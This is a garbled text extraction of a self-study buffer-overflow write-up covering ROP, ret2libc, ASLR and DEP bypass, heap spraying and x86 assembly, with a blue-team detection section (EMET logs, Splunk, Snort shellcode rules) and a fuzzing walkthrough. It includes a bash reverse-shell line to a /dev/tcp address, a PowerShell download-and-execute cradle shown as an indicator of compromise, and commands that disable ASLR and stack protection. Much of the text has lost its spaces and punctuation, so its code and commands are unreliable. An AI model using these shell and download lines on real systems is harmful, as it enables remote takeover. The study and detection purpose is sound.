David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

